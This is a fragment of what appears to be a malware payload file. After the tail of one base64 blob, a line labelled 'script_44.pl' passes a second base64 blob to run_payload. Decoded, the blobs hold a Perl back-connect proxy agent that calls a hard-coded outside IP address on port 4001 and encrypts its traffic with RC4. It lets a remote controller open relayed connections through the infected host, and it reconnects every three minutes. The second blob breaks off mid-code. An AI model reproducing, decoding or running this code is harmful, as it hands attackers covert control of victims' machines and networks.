wLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_44.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg2JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwg